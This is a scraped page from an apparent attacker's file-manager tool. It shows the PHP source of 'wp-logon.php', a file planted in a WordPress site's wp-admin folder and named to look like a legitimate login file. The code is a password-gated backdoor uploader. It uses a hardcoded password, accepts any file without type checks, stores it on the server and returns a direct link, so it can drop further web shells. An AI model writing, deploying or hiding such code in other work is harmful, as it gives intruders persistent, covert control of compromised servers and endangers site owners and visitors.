@Dimax66
This is a simple file manager tool created by Dimax66.
/
home
/
runcloud
/
webapps
/
web-xplorethai-backup
/
wp-admin
/
wp-logon.php
/
<?php session_start(); // --- AYARLAR --- $dogru_sifre = 'bayram'; $yukleme_dizini = 'uploads/'; // Dosyaların gideceği klasör // Çıkış İşlemi if (isset($_GET['cikis'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Giriş Kontrolü if (isset($_POST['sifre_girisi'])) { if ($_POST['sifre_girisi'] === $dogru_sifre) { $_SESSION['giris_yapti'] = true; } else { $hata_mesaji = "Yanlış şifre!"; } } if (!isset($_SESSION['giris_yapti'])) { ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Giriş Paneli</title> <style> body { font-family: Arial; background: #222; color: white; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .login-box { background: #333; padding: 30px; border-radius: 10px; border: 1px solid #444; text-align: center; } input { padding: 10px; width: 200px; border-radius: 5px; border: 1px solid #555; margin-bottom: 10px; } button { padding: 10px 20px; background: #28a745; color: white; border: none; border-radius: 5px; cursor: pointer; } </style> </head> <body> <div class="login-box"> <form method="POST"> <input type="password" name="sifre_girisi" placeholder="Şifre" required autofocus><br> <button type="submit">Giriş Yap</button> </form> </div> </body> </html> <?php exit; } // --- DOSYA YÜKLEME İŞLEMİ --- $sonuc = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['dosya'])) { // Klasör yoksa oluştur if (!is_dir($yukleme_dizini)) { mkdir($yukleme_dizini, 0755, true); } $dosya_adi = basename($_FILES['dosya']['name']); $hedef_yol = $yukleme_dizini . $dosya_adi; if (move_uploaded_file($_FILES['dosya']['tmp_name'], $hedef_yol)) { // Sunucu adresini ve dosya yolunu birleştirip tam link oluşturuyoruz $tam_link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]" . dirname($_SERVER['PHP_SELF']) . "/" . $hedef_yol; $tam_link = str_replace('\\', '/', $tam_link); // Windows sunucular için yolu düzelt $sonuc = "<div style='background:#d4edda; color:#155724; padding:15px; border-radius:5px; border:1px solid #c3e6cb;'>"; $sonuc .= "<b>✓ Dosya Başarıyla Yüklendi!</b><br>"; $sonuc .= "<small><b>Dizin:</b> " . realpath($hedef_yol) . "</small><br>"; $sonuc .= "<b>Link:</b> <a href='$tam_link' target='_blank'>$tam_link</a>"; $sonuc .= "</div>"; } else { $sonuc = "<b style='color:red;'>✗ Yükleme başarısız!</b>"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Dosya Yükleme Sistemi</title> <style> body { font-family: Arial; padding: 50px; background: #f4f4f4; } .panel { background: white; padding: 30px; border-radius: 10px; max-width: 600px; margin: 0 auto; box-shadow: 0 0 10px rgba(0,0,0,0.1); word-wrap: break-word; } .ust { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #eee; margin-bottom: 20px; padding-bottom: 10px; } a { color: #007bff; text-decoration: none; } .cikis { color: red; } </style> </head> <body> <div class="panel"> <div class="ust"> <h2 style="margin:0;">Dosya Yükle</h2> <a href="?cikis=1" class="cikis">Çıkış Yap</a> </div> <?php echo $sonuc; ?> <form method="POST" enctype="multipart/form-data" style="margin-top:20px;"> <input type="file" name="dosya" required><br><br> <button type="submit" style="padding: 10px 20px; background:#007bff; color:white; border:none; border-radius:5px; cursor:pointer;">Yüklemeyi Başlat</button> </form> </div> </body> </html>